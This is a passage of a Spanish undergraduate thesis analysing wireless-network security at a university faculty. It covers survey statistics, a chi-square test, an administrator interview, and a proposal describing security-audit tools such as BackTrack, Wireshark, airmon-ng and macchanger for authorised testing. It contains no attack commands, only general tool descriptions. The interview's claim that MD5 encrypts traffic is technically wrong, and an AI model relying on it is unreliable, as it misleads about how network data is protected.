porcentaje bajo de usuarios que han sido victimas de robos si han existido robos
de contrasefias en la red inalambrica de la FISEI, puede ser tanto por descuido

tanto del docente como del usuario.
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Pregunta N° 7

¢Qué tipo de seguridad posee su computador para evitar robos de informacion?

Cuadro N°7

N° ITEMS FRECUENCIA

a | Firewall 81

b | Software de deteccién malware 41

c | Software de deteccién spyware 37

d | Antivirus 96

e|IPS 6

f| Ninguna 10

TOTAL 271

Tabla 4.7. Tabulacién de la Encuesta — Pregunta 7

Fuente: Investigacion

Al poseer otra pregunta con varias alternativas contestadas en forma multiple se
procedera de igual manera como la pregunta tres, es decir por medio de un analisis
individual, siendo su sumatoria mayor al numero de participantes por lo mismo
cada valor se lo representara con el porcentaje correspondiente al total de 118

encuestas.
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Alternativa a: Firewall

M Firewall

[0 Otras

Grafico 4.7.1 Tabulacién de la Encuesta — Pregunta 7

Interpretacion

El 69% de las respuestas obtenidas sobre la pregunta siete definen que los
usuarios tienen activado el Firewall en su computador como medida de proteccion

a ataques, mientras que el 31% tienen otras medidas.

Alternativa b: Software de deteccion de malware

W Software
deteccion
Malware

[0 Otras

Grafico 4.7.2 Tabulacién de la Encuesta — Pregunta 7

Interpretacion

El 35% de las respuestas obtenidas sobre la pregunta siete definen que los
usuarios como medida de proteccion en su computador han instalado un software

de deteccion de malware, mientras que el 65% usan otras medidas de proteccion.
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Alternativa c: Software de deteccion de spyware

W Software
deteccién

Spyware
[ Otras

Gréafico 4.7.3  Tabulacion de la Encuesta — Pregunta 7

Interpretacion

El 31% de las respuestas obtenidas sobre la pregunta siete definen que los
usuarios han optado por instalar un software de deteccion de spyware, mientras

que el 69% han preferido otras medidas de proteccion.

Alternativa d: Antivirus

M Antivirus

[ Otras

Gréfico 4.7.4  Tabulacion de la Encuesta — Pregunta 7

Interpretacion

El 81% de las respuestas obtenidas sobre la pregunta siete definen que los
usuarios prefieren proteger su computador instalando un antivirus, mientras que el

19% optan por otras medidas de proteccidn.
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Alternativa e: IP’s

W IP's

[ Otras

Gréfico 4.7.5 Tabulacién de la Encuesta — Pregunta 7

Interpretacion

Con un 7% los IP’s no son considerados por los usuarios como medida de

proteccion debido a que son mas usados con fines empresariales.

Alternativa f: Ninguna

B Ninguna

[ Otras

Grafico 4.7.6  Tabulacién de la Encuesta — Pregunta 7

Interpretacion

La alternativa f tuvo un 8% de las respuestas obtenidas sobre la pregunta siete
demostrando que los usuarios no poseen ningun software instalado en su
computador para protegerlo de ataques, mientras que el 92% de usuarios si poseen

algdn tipo de software como medida de proteccidn en su computador.
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Anadlisis.

Se puede observar que en su mayoria los usuarios usan como medida de seguridad

los antivirus para proteger su computador de amenazas externas, a pesar de no ser
el método mas efectivo.
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Pregunta N° 8

Cuando desea acceder a la red inalambrica de la FISEI esta se encuentra...

Cuadro N°8
N° ITEMS FRECUENCIA| %
a Siempre disponible 32| 27
b No disponible, tiene que esperar min. para conectar 47| 40
c Disponible pero no conecta 39| 33
TOTAL 118|100
Tabla 4.8. Tabulacién de la Encuesta — Pregunta 8
Fuente: Investigacion
."; Ha
. Wb
Oc

Grafico 4.8. Tabulacion de la Encuesta — Pregunta 8

Andlisis e Interpretacion.

De las 118 encuestas realizadas 32 usuarios que equivale el 27% de los

encuestados sefialan que la red inaldmbrica de la FISEI siempre se encuentra

disponible, 47 usuarios que equivale 40% de los encuestados tiene que esperar

unos minutos para poder conectar y 39 usuarios encuestados equivalente al 33%

indican que la red se encuentra disponible pero no conecta.

Se puede confirmar que existen problemas de disponibilidad en la red

inaldmbrica, cuando los usuarios desean acceder a la red esta no se encuentra

siempre disponible.
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Pregunta N° 9

¢ Cbémo considera el nivel de cobertura de la red inalambrica de la Facultad?

Cuadro N°9
N° ITEMS FREC.| %
Puede acceder desde el exterior del edif. y dentro del mismo 10 9
B Puede acceder desde cualquier lugar dentro del edificio 45] 38
Solo se puede acceder desde determinados lugares del edif. 63| 53
TOTAL 118100

Tabla 4.9. Tabulacién de la Encuesta — Pregunta 9

Fuente: Investigacion

Ha
Hb
Oc

Gréfico 4.9. Tabulacion de la Encuesta — Pregunta 9

Andlisis e Interpretacion.

De las 118 encuestas realizadas 10 usuarios que equivale el 9% de los encuestados

tienen acceso desde el exterior del edificio ademas que dentro del mismo; 45

usuarios que equivale 38% de los encuestados solamente puede acceder desde el

interior del edificio, encuestados equivalente al 53% solamente puede acceder

desde determinados lugares del edificio.

Demostrando que existen problemas de cobertura, y solo desde ciertos lugares se

puede acceder a la red inalambrica.
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Pregunta N°10

¢ Como considera el nivel de confiabilidad en la red inalambrica de la FISEI?

Cuadro N°10

N° ITEMS FRECUENCIA %
Alta 4 3
Media 75 64
c Baja 39 33
TOTAL 118 100

Tabla 4.10. Tabulacion de la Encuesta — Pregunta 10

Fuente: Investigacion

Ha
Wb
Oc

Gréfico 4.10. Tabulacion de la Encuesta — Pregunta 10

Analisis e Interpretacion.

De las 118 encuestas realizadas 4 usuarios que equivale el 3% de los encuestados
consideran que es alto el nivel de confiabilidad, 75 usuarios que equivale 64% de
los encuestados sefialan que el nivel de confiabilidad es medio y 39 encuestados

equivalente al 33% indican que el grado de confiabilidad es bajo.

Dejando muy en claro que segin los usuarios no existe un alto grado de
confiabilidad en la red inalambrica de la FISEI.
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4.2.2. Verificacion de Hipotesis

Planteamiento de la Hipdtesis

Modelo Logico:

“El andlisis de las vulnerabilidades de la red inalambrica influye en la seguridad

de la informacidn de los usuarios de la FISEI”

a) Hipotesis Nula (Ho): “El analisis de las vulnerabilidades de la red
inaldmbrica NO influye en la seguridad de la informacion de los usuarios
de la FISEI”

b) Hipdtesis Alterna (H;): “El andlisis de las vulnerabilidades de la red
inaldmbrica Sl influye en la seguridad de la informacidn de los usuarios de
la FISEI”

Modelo Matematico:

Ho=H;
Ho # Hy

Nivel de Significancia

El nivel de significancia denominado nivel de confianza, se refiere a la
probabilidad de que los resultados observados se deban al azar. Este valor es
fijado por el investigador, usualmente es el 5% o 10%. Lo que indica que si se
toma a = 0.05, se esta significando que solo en un 5% de las veces en que se

realice la medicion, el resultado obtenido podria deberse al azar. De lo contrario

64



se podria decir que existe un nivel de confianza del 95% que el resultado es real y

no debido a la casualidad.

Nivel de confiabilidad = 95%
Para comprobacién de la hipotesis se selecciona un nivel de significacion del 5%,
(0=0,05), doénde: o = nivel de significancia.
Determinar las frecuencias observadas y esperadas
A continuacion se presenta la tabla de frecuencias observadas con los datos
extraidos de las encuestas y agrupados por la preguntas mas significativas
relacionadas con las variables independiente y la variable dependiente y en

funcién de estas se calculo las frecuencias esperadas y por ultimo Chi cuadrado
(7).

Frecuencias Observadas:

N° | Pregunta Si | No | Total

1 | ¢Antes de conectarse a una red inalambrica presta
atencion en el nombre de la red a la que se va a | 106 | 12 118
conectar?

2 | ¢Es de su conocimiento que debido a que la informacion
viaja por el aire en una red inalambrica es méas | 104 | 14 | 118
susceptible a que esta pueda ser interceptada por otra
persona?

5 | ¢Cree que se mantiene la confidencialidad de los datos | 55 | 63 118
en la red inalambrica de la FISEI?

6 | ¢Ha sido victima de robos de contrasefias al usar la red | 27 |91 118
inalambrica de la FISEI?

TOTALES 292 | 180 | 472

Tabla 4.11. Frecuencias Observadas

Fuente: Investigacion
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Frecuencias esperadas:

(Total filas)(Total columnas)
e =

Gran total
N° Pregunta Si No | Total
1 | ¢(Antes de conectarse a una red inalambrica presta
atencion en el nombre de la red a la que se va a| 73 45 118
conectar?
2 | ¢(Es de su conocimiento que debido a que la
informacion viaja por el aire en una red inalambrica | 73 45 118
es mas susceptible a que esta pueda ser interceptada
por otra persona?
5 ¢Cree que se mantiene la confidencialidad de los | 73 45 118
datos en la red inalambrica de la FISEI?
6 | ¢Ha sido victima de robos de contrasefias al usar la | 73 45 118
red inalambrica de la FISEI?
TOTALES 292 | 180 | 472

Tabla 4.12. Frecuencias Esperadas

Fuente: Investigacion

Seleccion del estadistico:

Para la aplicacion del chi-cuadrado se aplica la siguiente férmula:

2= Y (Fo — Fe)?
Fe
Donde:
> = Sumatoria
Fo = Frecuencias observadas
Fe = Frecuencias esperadas
x?= Chi cuadrado
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Fo | Fe | Fo-Fe [ (Fo-Fe)* | (Fo-Fe)’/Fe

106 | 73 33 1089 14,9178

12 45 -33 1089 24,2

104 | 73 31 961 13,1644

14 45 -31 961 21,3556

55 73 -18 324 4,4384

63 45 18 324 7,2

27 73 -46 2116 28,9863

91 45 46 2116 47,0222
161,2847

Tabla 4.13. Calculo de Chi cuadrado

Fuente: Investigacion

X?calculado = 161,285

Regidn de aceptacion y rechazo.
Se debe calcular los grados de libertad, y se determina el valor Chi-Cuadrado en la
tabla estadistica.
Grados de Libertad
GL=(c-1)*(f-1)
GL=(34-1)*2-1)

GL =3*1
GL=3
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Dénde:
¢ = columnas
f = filas

GL = grados de libertad

Distribucion de X°

GL 0,1 0,05 0,025 0,01 0,005
1 2,71 3,84 5,02 6,63 7,88

2 4,61 5,99 7,38 9,21 10,60
3 6,25 7,81 9,35 11,34 12,84
4 7,78 9,49 11,14 13,28 14,86
5 9,24 11,07 12,83 15,09 16,75

Tabla 4.14 Tabla estadistica

Fuente: Investigacion

Valor de chi-cuadrado de la tabla estadistica, segun 3 gl. y 0,05 Xt2 = 7,81

Criterio de decision:
X% < Xt*(c-1)(f-1) — Acepta Ho
En donde:

X? =161,2847
Xt? (c-1) (f-1) = 7,81

Valores de decision:

161,2847 > 7,81
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Debido a que X? es mayor a Xt?(c-1) (f-1) se rechaza Ho y se acepta Hi. Por lo
tanto es factible “El analisis de las vulnerabilidades de la red inalambrica influye

en la seguridad de la informacion de los usuarios de la FISEI”.

4.2.3. Analisis de los resultados de la entrevista a Encargado del

Departamento de Redes de la FISEI.

1.- ¢Qué tipos de mecanismos de seguridad posee la red inalambrica de la
FISEI?

Utilizamos un Server Radius basado en software libre.

2.- ¢Cree que han existido robos de contrasefias a docentes en la red

inaldmbrica?
Si han existido, pero todo ha sucedido por la imprudencia de los usuarios.

3.- ¢Han existido ataques a la red inalambrica? Si ha existido que se ha hecho
para sobrellevarla.

No es un 100% comprobado que no han existido, pero se puede decir que
si existen personas que se han querido conectar a la red inaldmbrica, se ha
podido comprobar por medio del registro de las MAC Address en el
sistema de control del server radius en los .log. Es dificil tomar alguna
medida para evitar que la gente se conecte, todas las personas intentan
conectarse pero el sistema los bloquea, no les permite conectarse y
obviamente intentan buscar otro método de conexion pero la mayoria de
personas no lo lograra pero obviamente hablando de los 800 estudiantes un

2% puede ser que lo logren.
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4.- ¢Existe alguna forma de controlar el alcance de la sefial de la red

inalambrica de la FISEI?

Para controlar el alcance seria solo en la parte de estructura del disefio de
las antenas y la ubicacion de los puntos de acceso, no se puede configurar
que irradie hasta cierto punto. La ubicacion de los AP’s que posee la
Facultad solo trabaja dentro de los dos edificios.

5.- ¢ Con qué frecuencia existen problemas de caidas de la red inalambrica?
Debido al incremento de usuarios en la red inaldmbrica de la FISEI
hablando en porcentajes de un 100% un 25% del tiempo existen caidas,
pero debido a la saturacion de conexion.

6.- ¢ Qué estandar de red usa la red inalambrica de la FISEI?

La red inalambrica usa el estandar 802.11n.

7.- ¢De qué manera se lleva el control al acceso de la red inalambrica?

Mediante Server Radius, por medio de usuario a los docentes y por medio
de MAC Address a los estudiantes.

8.- ¢ Qué puede considerar como un punto débil de la red inalambrica?

Las mismas caidas se pueden considerar como una debilidad de la red
inalambrica.
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9.- ¢Con qué frecuencia cambia el nombre y contrasefia por defecto del

router o punto de acceso, asi como el SSID por defecto?

SSID no puede ser cambiado debido a que los estudiantes ya conocen el
servicio, pero si se ha hecho cambios regularmente (cada semestre) de
contrasefias, en casos especificos se han hecho cambios cada dos y tres

meses.

10.- ¢ Existe un plan de contingencia en caso de caida y una norma para el uso

de la red inalambrica y resolucién de problemas?

No se cuenta con un plan de contingencia, solo existen normas de uso de
internet en un dispositivo registrado debido a que es muy dificil controlar a
todos los usuarios por mas que existan politicas los usuarios tienen la
libertad de navegar en las paginas que ellos deseen debido a que la

Facultad brinda ese servicio.

11.- ¢Cree que el filtrado MAC es suficiente para el control del acceso a la

red inalambrica?

No, debido que ya existen formas de vulnerar el filtrado MAC pero si
ayuda bastante.

12.- ¢ Por queé razén no se hace uso del cifrado WPA2?

Server Radius lo que hace es ayudar a restringir el acceso, solo permite el
ingreso hasta cierto punto asignando una IP y un Gateway.

Lo g no da Server Radius es un servicio de conexion. Y WPA2 puede ser
vulnerado con un buen diccionario de claves y toma un poco de tiempo
descifrarle.
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13.- ¢ La informacion que viaja en la red inalambrica es cifrada?
Si, la informacién que viaja es cifrada y el tipo de cifrado que usa es el
MDS5 ya que es el més estandar.
4.2.4. Andlisis de los resultados de la entrevista
De acuerdo a lo respondido en la entrevista se pudo comprobar que los métodos
usados para la conexion de usuarios a la red inalambrica no es considerada una de
las mas eficientes, es por ello que es necesario la realizacion de un analisis de
vulnerabilidades que aportara de gran manera a mejorar el servicio prestado.
4.3. Andlisis Final
Después de realizar el respectivo analisis de las encuestas a los usuarios de la red

inalambrica y la entrevista en el Departamento de Redes se obtuvo que si es

factible la realizacion del tema propuesto.
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CAPITULO V

5. CONCLUSIONES Y RECOMENDACIONES

5.1. CONCLUSIONES

- Existe un desconocimiento por parte de los usuarios sobre los diversos tipos
de ataques existentes en las redes inalambricas, por tal motivo no toman

medidas de proteccion para evitar ser victimas.

- Existen constantes caidas de la red inaldmbrica y esto puede ayudar a que un
usuario no autorizado tenga mas oportunidades de analizar el trafico y robar
contrasefias, debido a que el usuario tratard de conectarse una y otra vez a la

red cada que sea desautenticado.
- La red inaldmbrica tiene un nivel bajo de disponibilidad debido a que los
usuarios supieron acotar que cuando desean acceder a la misma no conecta en

ese momento.

- La percepcion de un grupo de usuarios segun las encuestas realizadas es que

no existe confidencialidad en los datos que viajan en la red inalambrica.

- Han existido intentos de acceso a la red inalambrica por parte de usuarios no

autorizados segun la entrevista realizada al Administrador de Redes.
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5.2. RECOMENDACIONES

- Capacitar a los usuarios con conocimientos basicos de seguridad y en el uso de
contrasefias complejas evitara que existan vulnerabilidades en la red

inalambrica de FISELI.
- Controlar el alcance de la red inalambrica y la ubicacion de los repetidores
para evitar interferencias en la sefial, ademas de integrarlos a la red cableada

de la Facultad para mejorar el acceso y velocidad.

- Optimizar la disponibilidad de la red inalambrica para que los usuarios puedan

acceder desde cualquier lugar de la Facultad.

- Detectar puntos vulnerables en la red inalambrica de la FISEl y brindar

posibles soluciones para evitar el robo de informacion.

- Realizar ataques a la red inalambrica de la Facultad para verificar el nivel de

seguridad existente.
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CAPITULO VI

6. PROPUESTA

6.1. Datos Informativos

Tema: Analisis de wvulnerabilidades de la red inalambrica para evitar la

inseguridad de la informacion de los usuarios de la FISEI de la UTA.

Grupo Objetivo: Elaborado para los usuarios de la red inalambrica de la FISEI.

Ubicacion: Av. Los Chasquis y Rio Guayllabamba. (Universidad Técnica de
Ambato).

Tutor: Ing. René Teran.

Investigador: Cristina Espinoza.

6.2. Antecedentes de la propuesta

La FISEI cuenta con la red inalambrica para abastecer el acceso a internet a los
estudiantes y docentes, debido a la facilidad de implementacion y conexion que
tiene esta tecnologia. Sin embargo existen desventajas cuando la informacion
viaja por el aire ya que existe el riesgo de ser interceptada por otras personas y en
caso de no ser cifrada se podria acceder a contrasefias de los usuarios.
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La red inaldmbrica de la FISEI tiene implementado un servidor Radius para
controlar el acceso de usuarios por medio de direcciones MAC y credenciales
(asignacion de nombres de usuarios y contrasefias), pero no es suficiente, por lo

que es importante detectar vulnerabilidades para mejorar la seguridad.

6.3. Justificacion

La FISEI es una Facultad de gran prestigio en la universidad, la cual ha crecido en
infraestructura como también en el nimero de estudiantes por lo que debe brindar
un mejor servicio en su red inalambrica, ademas con los avances tecnoldgicos y el
crecimiento del internet se ve en la necesidad de ir mejorando dia a dia para
disponer de fuentes de consulta y contar con el conocimiento de tecnologias de

punta.

Hoy en dia ya es comun escuchar de diversos ataques de seguridad y
vulnerabilidades a redes inalambricas y por este medio a los servidores de la red
interna, ademas en el internet toma cierto tiempo encontrar informacién de coémo
realizarlos, es por esta razon que es necesario un andlisis de vulnerabilidades de la
red inalambrica de la FISEI que permitira encontrar posibles falencias en la
seguridad y de la misma manera mejorar el servicio que brinda a los usuarios y

evitar posibles ataques a los servidores y caidas al sistema.

6.4. Objetivos

6.4.1. Objetivo General

e Analizar las vulnerabilidades de la red inaldmbrica para evitar la

inseguridad de la informacion de los usuarios de la FISEI.
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6.4.2. Objetivo Especifico

e Analizar el disefio actual de la red inalambrica de la FISEI.

e Determinar las herramientas informaticas a utilizar para
deteccion de vulnerabilidades.

e Analizar versiones instaladas de sistemas operativos en
servidores y firmware de los elementos activos de
interconexion, para revision de vulnerabilidades.

e Efectuar ataques a la red inaldmbrica con herramientas
seleccionadas.

e Proponer posibles soluciones a las vulnerabilidades

encontradas para mejorar la seguridad.

6.5. Analisis de Factibilidad

6.5.1. Factibilidad Operativa

El encargado del Departamento de Redes de la Facultad se muestra abierto a

aplicar las recomendaciones dadas para mejor la seguridad de la red inalambrica y

cuenta con el personal necesario para realizarlo.

6.5.2. Factibilidad Econdémica

El presente proyecto es factible debido que para su analisis se utilizaran

herramientas de software libre que vienen incluidas en la distribucion Backtrack
5.
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6.5.3. Factibilidad Técnica

Existe toda la viabilidad para que el proyecto sea realizado por que se cuenta con
los equipos necesarios como es el caso de: un adaptador inalambrico y un
computador portatil, como también la utilizacion de software libre.

6.6. Fundamentacién Tedrica

6.6.1. Servidor

“Un servidor es una computadora que, formando parte de una red, provee
servicios a otras computadoras denominadas clientes. En informatica, un servidor

es un tipo de software que realiza ciertas tareas en nombre de los usuarios.

El término servidor ahora también se utiliza para referirse al ordenador fisico en el
cual funciona ese software, una maquina cuyo propdsito es proveer datos de modo

que otras maquinas puedan utilizar esos datos.” *

El servidor es la parte principal de la red, mientras mas eficiente sea el servidor

mejor sera el funcionamiento de la red.

6.6.2. Radius

“Es un protocolo de autenticacion y autorizacion para aplicaciones de acceso a la

red o movilidad IP. Utiliza el puerto 1812 UDP para establecer sus conexiones.

Sus siglas en ingles significan Remote Authentication Dial-In User Server.

! Wikipedia. (2012). Servidor. Extraido el 11 de septiembre de 2012 desde
http://es.wikipedia.org/wiki/Servidor.

78



Una de las caracteristicas mas importantes del protocolo RADIUS es su capacidad
de manejar sesiones, notificando cuando comienza y termina una conexion, asi
que al usuario se le podra determinar su consumo y facturar en consecuencia; los

datos se pueden utilizar con propésitos estadisticos.” 2

El servidor Radius permite el control de acceso a una red, de la misma manera

puede determinar el tiempo de conexion de los usuarios.

6.6.3. Servidor Web

“Un servidor web sirve contenido estatico a un navegador, carga un archivo y lo
sirve a través de la red al navegador de un usuario. Este intercambio es mediado

por el navegador y el servidor que hablan el uno con el otro mediante HTTP.

Se pueden utilizar varias tecnologias en el servidor para aumentar su potencia mas
alld de su capacidad de entregar paginas HTML,; eéstas incluyen scripts CGl,

seguridad SSL y paginas activas del servidor (ASP).” 3

Los servidores web se encargan del alojamiento de sitios y programas que se

pueden acceder via web, existen empresas que se encargan de brindar estos

Servicios.

6.6.4. GNU/Linux

“GNU/LINUX (mas conocido como Linux, simplemente) es un sistema operativo,

compatible Unix.

2 Wikipedia. (2012). Radius. Extraido el 17 de septiembre de 2012 desde
http://es.wikipedia.org/wiki/RADIUS

* Masadelante. (2012). Servidor. Extraido el 20 de septiembre de 2012 desde
http://www.masadelante.com/faqgs/servidor-web
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Dos caracteristicas muy peculiares lo diferencian del resto de los sistemas que
podemos encontrar en el mercado: la primera, es que es libre, esto significa que no
tenemos que pagar ningun tipo de licencia a ninguna casa desarrolladora de
software por el uso del mismo, la segunda, es que el sistema viene acompafiado

del cédigo fuente.

El sistema lo forman el ndcleo del sistema (kernel) mas un gran nimero de
programas Y librerias que hacen posible su utilizacion. Linux se distribuye bajo la
Licencia Publica General GNU (GPL), por lo tanto, el codigo fuente tiene que

estar siempre accesible.” *

La utilizacion de sistemas operativos libres hoy en dia esta en crecimiento, debido
a que posee grandes ventajas como licencia libre y cédigo abierto. Ademas en
Ecuador ya existe un decreto que promueve el uso de software libre en todas las

instituciones publicas.

6.6.4.1. CentOS

“CentOS (acrénimo de Community ENTerprise Operating System) es un clon a
nivel binario de la distribucion Red Hat Enterprise Linux, compilado por
voluntarios a partir del cédigo fuente liberado por Red Hat, empresa
desarrolladora de RHEL.

Red Hat Enterprise Linux se compone de software libre y cddigo abierto, pero se
publica en formato binario usable (CD-ROM o DVD-ROM) solamente a
suscriptores pagados. Como es requerido, Red Hat libera todo el codigo fuente del
producto de forma publica bajo los términos de la Licencia Publica GNU y otras
licencias. Los desarrolladores de CentOS usan ese cddigo fuente para crear un

producto final que es muy similar al Red Hat Enterprise Linux y esta libremente

¢ Hispalinux. (2012). ¢ Qué es GNU/Linux?. Extraido el 12 de septiembre de 2012 desde
http://www.hispalinux.es/GNULinux
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disponible para ser bajado y usado por el publico, pero no es mantenido ni
soportado por Red Hat. °

CentOS es una distribucién que es muy utilizada en varias instituciones debido a
que constantemente libera versiones, ademas de ser actualizadas siempre para el

soporte de hardware nuevo.

6.6.4.2. Apache

“Apache es el servidor web hecho por excelencia, su configurabilidad, robustez y
estabilidad hacen que cada vez millones de servidores reiteren su confianza en

este programa.

Apache es una muestra, al igual que el sistema operativo Linux (un Unix
desarrollado inicialmente para PC), de que el trabajo voluntario y cooperativo
dentro de Internet es capaz de producir aplicaciones de calidad profesional
dificiles de igualar.

La licencia Apache es una descendiente de la licencias BSD, no es GPL. Esta
licencia permite hacer lo que quieras con el codigo fuente (incluso forks y

productos propietarios) siempre que les reconozcas su trabajo.” °

En la actualidad es comlin que las empresas opten por establecer su propio
servidor web Apache por su excelencia, su configurabilidad, robustez y
estabilidad.

> RUBENS. (2007). éQué es CentOS?. Extraido el 14 de septiembre de 2012 desde
http://linuxlandia-linuxlandia.blogspot.com/2007/10/que-es-centos.html

® Ciberaula. (2010). Una introduccidn Apache. Extraido el 15 de septiembre de 2012 desde
http://linux.ciberaula.com/articulo/linux_apache_intro
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6.6.4.3. Freeradius

“Freeradius es el paquete nacleo del servidor Radius, que se encarga de realizar

el proceso de autenticacion, autorizacién y registro de usuarios.

Ademas de ser gratuito y simple, tiene las prestaciones necesarias para desarrollar
un robusto servidor radius. Es compatible con los protocolos de autenticacion mas
comunes y ademas, incorpora una interfaz de administracion web para una gestion

mas sencilla de los clientes.” ’

Freeradius es un servidor Radius totalmente gratuito que permite la autenticacion

de usuarios, asi como tambien el registro de los mismos.

6.6.4.4. MySQL

“MySQL es un sistema de administracion de bases de datos (Database

Management System, DBMS) para bases de datos relacionales.

Existen muchos tipos de bases de datos, desde un simple archivo hasta sistemas
relacionales orientados a objetos. MySQL, como base de datos relacional, utiliza

maltiples tablas para almacenar y organizar la informacion.

También es muy destacable, la condicion de open source de MySQL, que hace
que su utilizacion sea gratuita e incluso se pueda modificar con total libertad,

pudiendo descargar su codigo fuente.” ®

MySQL es una base de datos relacional libre que es fiable y permite la creacion de

numerosas tablas para almacenar informacion.

7 Wikipedia. (2012). FreeRadius. Extraido el 08 de septiembre de 2012 desde
http://en.wikipedia.org/wiki/FreeRADIUS

® PEREZ Manuel. (2007). éQué es MySql?. Extraido el 14 de septiembre de 212 desde
http://www.esepestudio.com/articulo/desarrollo-web/bases-de-datos-mysqgl/Que-es-
MySQL.htm
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6.6.4.5. Chillispot

“Es un portal cautivo de cddigo abierto, o definido también como un controlador
de un punto de acceso WLAN. Un portal cautivo es la técnica utilizada para que a
un cliente HTTP tenga que ver una pégina determinada al momento de iniciar el
navegador. Es uno de los paquetes mas importantes para la autenticacion de
clientes inaldmbricos cuando se trata de un servidor radius, es totalmente gratuito

y su codigo se encuentra bajo licencia GPL.” *

Chillispot permite el control de ingreso de usuarios a una red inalambrica

mediante un portal cautivo, es decir se muestra una pagina al iniciar el navegador.

6.6.4.6. DaloRadius

“Daloradius es una avanzada aplicacion HTTP que sirve de sistema de
administracion para RADIUS y esta disefiada para ser utilizada para administrar
hotspots (puntos calientes, es decir zona de cobertura Wi-Fi, en el que un punto de
acceso 0 varios proveen servicios de red a través de un Proveedor de Servicios de
Internet Inalambrico) y uso general para la autenticacion de Proveedores de
Acceso a Internet. Incluye gestion de usuarios, reportes graficos, contabilidad,

motor de cobranza e integracién con Google Maps para Geolocalizacion.” *°

DaloRadius permite administrar de una forma mas facil puntos de accesos

inalambricos, ademas se lo usa para la autenticacion de usuarios.

? Chillispot. (2007). ChilliSpot. Extraido el 21 de septiembre de 2012 desde
http://www.chillispot.info/

9 TAL Liran. (2007). About daloRADIUS. Extraido el 16 de septiembre de 2012 desde
http://daloradius.com/
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6.6.4.7. Servidor DHCP

“DHCP es el protocolo de servicio TCP/IP que "alquila” o asigna dinamicamente
direcciones IP durante un tiempo (duracion del alquiler) a las estaciones de
trabajo, distribuyendo ademas otros parametros de configuracion entre clientes de
red autorizados, tales como la puerta de enlace o el servidor DNS. DHCP
proporciona una configuracion de red TCP/IP segura, confiable y sencilla, evita
conflictos de direcciones y ayuda a conservar el uso de las direcciones IP de
clientes en la red.

Utiliza un modelo cliente-servidor en el que el servidor DHCP mantiene una
administracion centralizada de las direcciones IP utilizadas en la red. Los clientes
compatibles con DHCP podran solicitar a un servidor DHCP una direccion IP y

obtener la concesion como parte del proceso de inicio de red.

Las estaciones de trabajo "piden™ su direccion IP (y demas configuraciones para
este protocolo) al servidor, y este les va asignando direcciones del rango que sirve,
de entre aquellas que le quedan libres; si deseamos que a determinados equipos el
servidor les sirva siempre la misma, podemos llegar a "forzar" la asignacion de la
direccion IP deseada a equipos concretos. Ademas también pueden excluirse del
rango de direcciones IP que va a servir nuestro servidor, aquellas que deseamos
que estén asociadas de forma estética a determinados equipos o periféricos de

red.aa 11

El servidor DHCP permite la asignacion de direcciones IP a los clientes de una
red como también configuraciones de DNS y puerta de enlace, de esta manera se
evita conflicto de direcciones.

' ANONIMO. (2010). Definicién de Servidor DHCP. Extraido el 13 de septiembre de 2012 desde
http://sauce.pntic.mec.es/crer0052/dhcp/definici.htm
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6.6.4.8. SSL

“Un certificado SSL sirve para brindar seguridad al visitante de su pagina web,
una manera de decirles a sus clientes que el sitio es auténtico, real y confiable para
ingresar datos personales. Las siglas SSL responden a los términos en inglés
(Secure Socket Layer), el cual es un protocolo de seguridad que hace que sus
datos viajen de manera integra y segura, es decir, la transmision de los datos entre
un servidor y usuario web, y en retroalimentacion, es totalmente cifrada o
encriptada. El que los datos viajen cifrados, nos referimos a que se emplean
algoritmos matematicos y un sistema de claves que sélo son identificados entre la

persona que navega y el servidor.

Un certificado SSL implementa el modelo preferido de seguridad en web,
contiene claves digitales que protegen la integridad de sus datos al momento de
enviar y recibir. Los servidores que corren SSL crean una via con un cifrado unico
para las sesiones privadas a través que Internet, la clave publica del servidor esta
al alcance de cualquier persona. Es por eso que utilizan una clave publica y una
clave privada: La clave publica es para cifrar la informacion, la clave privada para

descifrarla.” *?

Un certificado SSL permite la transmision segura de informacion a través de

internet, manteniendo los datos libres de personas no deseadas.

6.6.5. Herramientas Informaticas

6.6.5.1. Backtrack

“BackTrack es una distribucion GNU/Linux en  formato LiveCD pensada vy

disefiada para la auditoria de seguridad y relacionada con la seguridad informatica

2 Inkawebdesign. (2012). ¢Qué es un certificado SSL?. Extraido el 16 de septiembre de 2012
desde http://www.inkawebdesign.com/pregunta/certificado-ssl.html
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en general. Se deriva de la union de dos grandes distribuciones orientadas a la
seguridad, el Auditor + WHAX.

WHAX es la evolucion del Whoppix (WhiteHat Knoppix), el cual pas6 a basarse
en la distribucion Linux SLAX en lugar de Knoppix. La ultima version de esta

distribucion cambid el sistema base, antes basado en Slax y ahora en Ubuntu.1

Incluye una larga lista de herramientas de seguridad listas para usar, entre las que
destacan  numerosos scanners de  puertosy vulnerabilidades, archivos
de exploits, sniffers, herramientas de analisis forense y herramientas para la

auditoria Wireless.” 2

Backtrack es considerado entre las mejores distribuciones para auditoria de

seguridad, posee gran variedad de herramientas para analisis de vulnerabilidades.

6.6.5.2. Wireshark

“Es un analizador de protocolos utilizado para realizar analisis y solucionar
problemas en redes de comunicaciones, para desarrollo de software y protocolos,
y como una herramienta didactica para educacion. Cuenta con todas las

caracteristicas estandar de un analizador de protocolos.

Permite ver todo el trafico que pasa a través de una red (usualmente una
red Ethernet, aunque es compatible con algunas otras) estableciendo la
configuracion en modo promiscuo. También incluye una version basada en texto

llamada tshark.

Permite examinar datos de una red viva o de un archivo de captura salvado en

disco. Se puede analizar la informacion capturada, a través de los detalles y

B Wikipedia (2012). Backtrack. Extraido el 15 de septiembre de 2012 desde
http://es.wikipedia.org/wiki/BackTrack
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sumarios por cada paquete. Wireshark incluye un completo lenguaje para filtrar lo
gue queremos ver y la habilidad de mostrar el flujo reconstruido de una sesion de
TCP.” ¥

Este analizador de protocolos permite revisar el trafico de la red, de esta forma se
puede obtener informacion privada de los clientes que se encuentran conectados

en la red.

6.6.5.3. Airmon-ng

“Esta secuencia de comandos se puede utilizar para activar el modo monitor en las
interfaces inaldmbricas. También se puede utilizar para volver desde el modo

monitor al modo administrado.” *°

Airmon-ng permite hacer el cambio de la tarjeta inalambrica en modo en que se

pueda detectar todo el trafico que circula en la red.

6.6.5.4. Macchanger

“Una utilidad de GNU/Linux para ver / manipular la direccion MAC de las

interfaces de red.
Caracteristicas:
- Establecer una direccion MAC especifica en una interfaz de red.

- Ajuste la MAC al azar.
- Establecer una MAC de otro proveedor.

1 Wikipedia. (2012). Wireshark. Extraido el 19 de septiembre de 2012 desde
http://es.wikipedia.org/wiki/Wireshark

B Aircrack-ng. (2010). Airmon-ng. Extraido el 20 de septiembre de 2012 desde
http://www.aircrack-ng.org/doku.php?id=airmon-ng
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- Establecer otro MAC del mismo proveedor.

